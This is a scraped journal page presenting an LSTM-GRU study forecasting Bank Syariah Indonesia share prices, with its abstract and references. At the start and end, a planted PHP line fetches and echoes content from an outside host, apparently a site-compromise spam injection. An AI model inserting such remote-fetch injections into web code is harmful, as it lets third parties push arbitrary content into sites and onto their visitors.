$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Stacked LSTM-GRU Long-Term Forecasting Model for Indonesian Islamic Banks | Sujatna | Knowledge Engineering and Data Science

Stacked LSTM-GRU Long-Term Forecasting Model for Indonesian Islamic Banks

Yayat Sujatna, Adhitio Satyo Bayangkari Karno, Widi Hastomo, Nia Yuningsih, Dody Arif, Sri Setya Handayani, Aqwam Rosadi Kardian, Ire Puspa Wardhani, L.M Rasdi Rere


The development of the Islamic banking industry in Indonesia has become a significant concern in recent years, with rapid growth in the number of banks operating based on Sharia principles. To face emerging challenges and opportunities, a deep understanding of the long-term financial behavior of Islamic banks is becoming increasingly important. This study aims to predict the share price of PT Bank Syariah Indonesia Tbk, over 28 days using the LSTM-GRU stack. The observation stage includes importing the dataset, data separation, model variations, the training process, output, and evaluation. Observations were conducted using 10 model variations from 4 stacks of LSTM and GRU. Each model performs the training process in four epochs (200, 500, 750, and 1000). The results of observations in this study show that long-term predictions (28 days ahead) using four stacks of LSTM-GRU and daily training accumulation techniques produce better accuracy than the general method (using multiple outputs). From the observations we have made for predictions for the next 28 days, the model with the LGLG stack arrangement (LSTM-GRU-LSTM-GRU) produces the best accuracy at epoch 750 with an MSE LSTM-GRU 63.43762863. This study will undoubtedly continue in order to achieve even better precision, either by utilizing a new design or by further improving the technology we are now employing.

Full Text:



World Bank, Leveraging Islamic Fintech to Improve Financial Inclusion. World Bank, 2020.

M. A. Khattak and N. A. Khan, “Islamic Finance, Growth, and Volatility: a Fresh Evidence From 82 Countries,” J. Islam. Monet. Econ. Financ., vol. 9, no. 1, pp. 39–56, 2023.

E. Santi, B. Budiharto, and H. Saptono, "Pengawasan Otoritas Jasa Keuangan Terhadap Financial Technology (Peraturan Otoritas Jasa Keuangan NomoR 77/POJK.01/2016)," Diponegoro Law Journal, vol. 6, no. 3, pp. 1-20, Jul. 2017.

S. Syarifuddin, R. Muin, and A. Akramunnas, “The Potential of Sharia Fintech in Increasing Micro Small and Medium Enterprises (MSMEs) in The Digital Era in Indonesia,” J. Huk. Ekon. Syariah, vol. 4, no. 1, p. 23, 2021.

R. A. Kasri and M. W. Sosianti, “Determinants of the Intention To Pay Zakat Online: the Case of Indonesia,” J. Islam. Monet. Econ. Financ., vol. 9, no. 2, pp. 275–294, 2023.

H. Hiyanti, L. Nugroho, C. Sukamadilaga, and T. Fitrijanti, “Sharia Fintech (Financial Technology) Opportunities and Challenges in Indonesia,” J. Ilm. Ekon. Islam, vol. 5, no. 03, pp. 326–333, 2019.

M. A. Kurniawan, M. Anwar, and S. R. Nidar, “Developing a Strategy for Islamic Money Market Model to Enhance Quality of Islamic Banking Performance during the Pandemic in Indonesia 2021,” Qual. - Access to Success, vol. 23, no. 190, pp. 261–268, 2022.

N. Nurdin and K. Yusuf, “Knowledge management lifecycle in Islamic bank: the case of syariah banks in Indonesia,” Int. J. Knowl. Manag. Stud., vol. 11, no. 1, pp. 59–80, Jan. 2020.

S. M. Anwar, J. Junaidi, S. Salju, R. Wicaksono, and M. Mispiyanti, “Islamic bank contribution to Indonesian economic growth,” Int. J. Islam. Middle East. Financ. Manag., vol. 13, no. 3, pp. 519–532, Jan. 2020.

M. H. Ali, M. A. Uddin, M. A. R. Khan, and B. Goud, “Faith-based versus value-based finance: Is there any portfolio diversification benefit between responsible and Islamic finance?,” Int. J. Financ. Econ., vol. 26, no. 4, pp. 5570–5583, Oct. 2021.

S. Alhammadi, “Expanding financial inclusion in Indonesia through Takaful: opportunities, challenges and sustainability,” J. Financ. Report. Account., vol. ahead-of-print, no. ahead-of-print, Jan. 2023.

A. D. Songer, J. Diekmann, W. Hendrickson, and D. Flushing, “Situational Reengineering: Case Study Analysis,” J. Constr. Eng. Manag., vol. 126, no. 3, pp. 185–190, May 2000.

M. Mursyid, H. Kusuma, A. Tohirin, and J. Sriyana, “Performance Analysis of Islamic Banks in Indonesia: The Maqashid Shariah Approach,” J. Asian Financ. Econ. Bus., vol. 8, no. 3, pp. 307–318, 2021.

A. Ding, X., Haron, R., & Hasan, “The Influence Of Basel III On Islamic Bank Risk,” J. Islam. Monet. Econ. Financ., vol. 9, no. 1, pp. 167–198, 2023.

E. B. Boukherouaa et al., Powering the Digital Economy: Opportunities and Risks of Artificial Intelligence in Finance. International Monetary Fund, 2021.

M. Asutay, P. F. Aziz, B. S. Indrastomo, and Y. Karbhari, “Religiosity and Charitable Giving on Investors’ Trading Behaviour in the Indonesian Islamic Stock Market: Islamic vs Market Logic,” J. Bus. Ethics, 2023.

D. Defrizal, K. Romli, A. Purnomo, and H. A. Subing, “A Sectoral Stock Investment Strategy Model in Indonesia Stock Exchange,” J. Asian Financ. Econ. Bus., vol. 8, no. 1, pp. 015–022, 2021.

A. Thakkar and K. Chaudhari, “A Comprehensive Survey on Portfolio Optimization, Stock Price and Trend Prediction Using Particle Swarm Optimization,” Arch. Comput. Methods Eng., vol. 28, no. 4, pp. 2133–2164, 2021.

E. I. Ardyanta and H. Sari, “A Prediction of Stock Price Movements Using Support Vector Machines in Indonesia,” J. Asian Financ., vol. 8, no. 8, pp. 399–0407, 2021.

W. Budiharto, “Data science approach to stock prices forecasting in Indonesia during Covid-19 using Long Short-Term Memory (LSTM),” J. Big Data, vol. 8, no. 1, p. 47, 2021.

M. Kunwar, “Artificial Intelligence In Finance Understanding how automation and machine learning is transforming the financial industry,” no. August, 2019.

A. Saranya and R. Anandan, “Stock market prediction using machine learning algorithms,” Int. J. Recent Technol. Eng., vol. 8, no. 2 Special Issue 4, pp. 280–283, 2019.

S. Ahmed, M. M. Alshater, A. El Ammari, and H. Hammami, “Artificial intelligence and machine learning in finance: A bibliometric review,” Res. Int. Bus. Financ., vol. 61, p. 101646, 2022.

C. Milana and A. Ashta, “Artificial intelligence techniques in finance and financial markets: A survey of the literature,” Strateg. Chang., vol. 30, no. 3, pp. 189–209, May 2021.

W. Hastomo, A. S. B. Karno, N. Kalbuana, E. Nisfiani, and L. ETP, “Optimasi Deep Learning untuk Prediksi Saham di Masa Pandemi Covid-19,” J. Edukasi dan Penelit. Inform., vol. 7, no. 2, p. 133, Aug. 2021.

N. Navarin, B. Vincenzi, M. Polato, and A. Sperduti, “LSTM networks for data-aware remaining time prediction of business process instances,” in 2017 IEEE Symposium Series on Computational Intelligence (SSCI), 2017, pp. 1–7.

M. O. Rahman, M. S. Hossain, T.-S. Junaid, M. S. A. Forhad, and M. K. Hossen, “Predicting prices of stock market using gated recurrent units (GRUs) neural networks,” Int. J. Comput. Sci. Netw. Secur, vol. 19, no. 1, pp. 213–222, 2019.

K. A. Althelaya, E.-S. M. El-Alfy, and S. Mohammed, “Stock Market Forecast Using Multivariate Analysis with Bidirectional and Stacked (LSTM, GRU),” in 2018 21st Saudi Computer Society National Computer Conference (NCC), 2018, pp. 1–7.

M. A. I. Sunny, M. M. S. Maswood, and A. G. Alharbi, “Deep Learning-Based Stock Price Prediction Using LSTM and Bi-Directional LSTM Model,” in 2020 2nd Novel Intelligent and Leading Emerging Sciences Conference (NILES), 2020, pp. 87–92.

Y. Liu, Z. Wang, and B. Zheng, “Application of Regularized GRU-LSTM Model in Stock Price Prediction,” in 2019 IEEE 5th International Conference on Computer and Communications (ICCC), 2019, pp. 1886–1890.

Y. Gao, R. Wang, and E. Zhou, “Stock Prediction Based on Optimized LSTM and GRU Models,” Sci. Program., vol. 2021, p. 4055281, 2021.

M. E. Karim, M. Foysal, and S. Das, “Stock price prediction using Bi-LSTM and GRU-based hybrid deep learning approach,” in Proceedings of Third Doctoral Symposium on Computational Intelligence: DoSCI 2022, 2022, pp. 701–711.

A. Sethia and P. Raut, “Application of LSTM, GRU and ICA for stock price prediction,” in Information and Communication Technology for Intelligent Systems: Proceedings of ICTIS 2018, Volume 2, 2019, pp. 479–487.

J. Zhao, D. Zeng, S. Liang, H. Kang, and Q. Liu, “Prediction model for stock price trend based on recurrent neural network,” J. Ambient Intell. Humaniz. Comput., vol. 12, no. 1, pp. 745–753, 2021.

K. Wang, X. Qi, and H. Liu, “Photovoltaic power forecasting based LSTM-Convolutional Network,” Energy, vol. 189, p. 116225, Dec. 2019.

Z. Karevan and J. A. K. Suykens, “Transductive LSTM for time-series prediction: An application to weather forecasting,” Neural Networks, vol. 125, pp. 1–9, May 2020.

G. Ding and L. Qin, “Study on the prediction of stock price based on the associated network model of LSTM,” Int. J. Mach. Learn. Cybern., vol. 11, no. 6, pp. 1307–1317, Jun. 2020.

S. Chen and L. Ge, “Exploring the attention mechanism in LSTM-based Hong Kong stock price movement prediction,” Quant. Financ., vol. 19, no. 9, pp. 1507–1515, Sep. 2019.

Y. Baek and H. Y. Kim, “ModAugNet: A new forecasting framework for stock market index value with an overfitting prevention LSTM module and a prediction LSTM module,” Expert Syst. Appl., vol. 113, pp. 457–480, 2018.

X. Liang, Z. Ge, L. Sun, M. He, and H. Chen, “LSTM with Wavelet Transform Based Data Preprocessing for Stock Price Prediction,” Math. Probl. Eng., vol. 2019, p. 1340174, 2019.

P. Xu et al., “Automatic evaluation of facial nerve paralysis by dual-path LSTM with deep differentiated network,” Neurocomputing, vol. 388, pp. 70–77, 2020.

A. U. Muhammad, A. S. Yahaya, S. M. Kamal, J. M. Adam, W. I. Muhammad, and A. Elsafi, “A Hybrid Deep Stacked LSTM and GRU for Water Price Prediction,” in 2020 2nd International Conference on Computer and Information Sciences (ICCIS), 2020, pp. 1–6.

M. Ali, D. M. Khan, H. M. Alshanbari, and A. A.-A. H. El-Bagoury, “Prediction of Complex Stock Market Data Using an Improved Hybrid EMD-LSTM Model,” Appl. Sci., vol. 13, no. 3, 2023.

A. Dutta, G. Pooja, N. Jain, R. R. Panda, and N. K. Nagwani, “A Hybrid Deep Learning Approach for Stock Price Prediction,” in Machine Learning for Predictive Analysis, 2021, pp. 1–10.

S. Zaheer et al., “A Multi Parameter Forecasting for Stock Time Series Data Using LSTM and Deep Learning Model,” Mathematics, vol. 11, no. 3, 2023.

J. Chung, C. Gulcehre, K. Cho, and Y. Bengio, “Empirical evaluation of gated recurrent neural networks on sequence modeling,” arXiv Prepr. arXiv1412.3555, 2014.

P. Malhotra, L. Vig, G. Shroff, and P. Agarwal, “Long Short Term Memory networks for anomaly detection in time series,” 23rd Eur. Symp. Artif. Neural Networks, Comput. Intell. Mach. Learn. ESANN 2015 - Proc., no. April, pp. 89–94, 2015.

J. L. Elman, “Finding structure in time,” Cogn. Sci., vol. 14, no. 2, pp. 179–211, 1990.

L. Medsker and L. C. Jain, Recurrent neural networks: design and applications. CRC press, 1999.

P. J. Werbos, “Backpropagation through time: what it does and how to do it,” Proc. IEEE, vol. 78, no. 10, pp. 1550–1560, 1990.

J. L. Elman and D. Zipser, “Learning the hidden structure of speech,” J. Acoust. Soc. Am., vol. 83, no. 4, pp. 1615–1626, Apr. 1988..

J. T. Connor, R. D. Martin, and L. E. Atlas, “Recurrent neural networks and robust time series prediction,” IEEE Trans. Neural Networks, vol. 5, no. 2, pp. 240–254, 1994.

Y. Bengio, P. Simard, and P. Frasconi, “Learning long-term dependencies with gradient descent is difficult,” IEEE Trans. Neural Networks, vol. 5, no. 2, pp. 157–166, 1994.

J. Brownlee, “How to develop LSTM models for time series forecasting (2018).” 2019.

S. Hochreiter and J. Schmidhuber, “Long Short-Term Memory,” Neural Comput., vol. 9, no. 8, pp. 1735–1780, Nov. 1997.

K. Cho et al., “Learning phrase representations using RNN encoder-decoder for statistical machine translation,” arXiv Prepr., 2014.

S. M. Al-Selwi, M. F. Hassan, S. J. Abdulkadir, and A. Muneer, “LSTM Inefficiency in Long-Term Dependencies Regression Problems,” J. Adv. Res. Appl. Sci. Eng. Technol., vol. 30, no. 3, pp. 16–31, 2023.

C. Hu, S. Martin, and R. Dingreville, “Accelerating phase-field predictions via recurrent neural networks learning the microstructure evolution in latent space,” Comput. Methods Appl. Mech. Eng., vol. 397, p. 115128, Jul. 2022.

M. R. Raza, W. Hussain, and J. M. Merigó, “Cloud Sentiment Accuracy Comparison using RNN, LSTM and GRU,” in 2021 Innovations in Intelligent Systems and Applications Conference (ASYU), 2021, pp. 1–5.

T. Limouni, R. Yaagoubi, K. Bouziane, K. Guissi, and E. H. Baali, “Accurate one step and multistep forecasting of very short-term PV power using LSTM-TCN model,” Renew. Energy, vol. 205, pp. 1010–1024, 2023.

N. Klyuchnikov et al., “NAS-Bench-NLP: Neural Architecture Search Benchmark for Natural Language Processing,” IEEE Access, vol. 10, pp. 45736–45747, 2022.

S. Wang and H. Chen, “A novel deep learning method for the classification of power quality disturbances using deep convolutional neural network,” Appl. Energy, vol. 235, pp. 1126–1140, 2019.

W. Hastomo, N. Aini, A. S. B. Karno, and L. M. R. Rere, “Metode Pembelajaran Mesin untuk Memprediksi Emisi Manure Management,” J. Nas. Tek. Elektro dan Teknol. Inf., vol. 11, no. 2, pp. 131–139, 2022.

W. Hastomo, A. S. Bayangkari Karno, N. Kalbuana, A. Meiriki, and Sutarno, “Characteristic Parameters of Epoch Deep Learning to Predict Covid-19 Data in Indonesia,” J. Phys. Conf. Ser., vol. 1933, no. 1, 2021.

M. E. Karim, M. Foysal, and S. Das, “Stock Price Prediction Using Bi-LSTM and GRU-Based Hybrid Deep Learning Approach,” 2023, pp. 701–711.

B. Sulistio, H. L. H. S. Warnars, F. L. Gaol, and B. Soewito, “Energy Sector Stock Price Prediction Using The CNN, GRU & LSTM Hybrid Algorithm,” in 2023 International Conference on Computer Science, Information Technology and Engineering (ICCoSITE), 2023, pp. 178–182.

Y. Touzani and K. Douzi, “An LSTM and GRU based trading strategy adapted to the Moroccan market,” J. Big Data, vol. 8, no. 1, p. 126, 2021.

A. Lawi, H. Mesra, and S. Amir, “Implementation of Long Short-Term Memory and Gated Recurrent Units on grouped time-series data to predict stock prices accurately,” J. Big Data, vol. 9, no. 1, p. 89, 2022.

M. Ayitey Junior, P. Appiahene, and O. Appiah, “Forex market forecasting with two-layer stacked Long Short-Term Memory neural network (LSTM) and correlation analysis,” J. Electr. Syst. Inf. Technol., vol. 9, no. 1, p. 14, 2022.

B. Sirisha, K. K. C. Goud, and B. T. V. S. Rohit, “A Deep Stacked Bidirectional LSTM (SBiLSTM) Model for Petroleum Production Forecasting,” Procedia Comput. Sci., vol. 218, pp. 2767–2775, 2023.

DOI: http://dx.doi.org/10.17977/um018v6i22023p215-250


  • There are currently no refbacks.

Copyright (c) 2023 Knowledge Engineering and Data Science

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

Flag Counter

Creative Commons License

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

View My Stats

---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------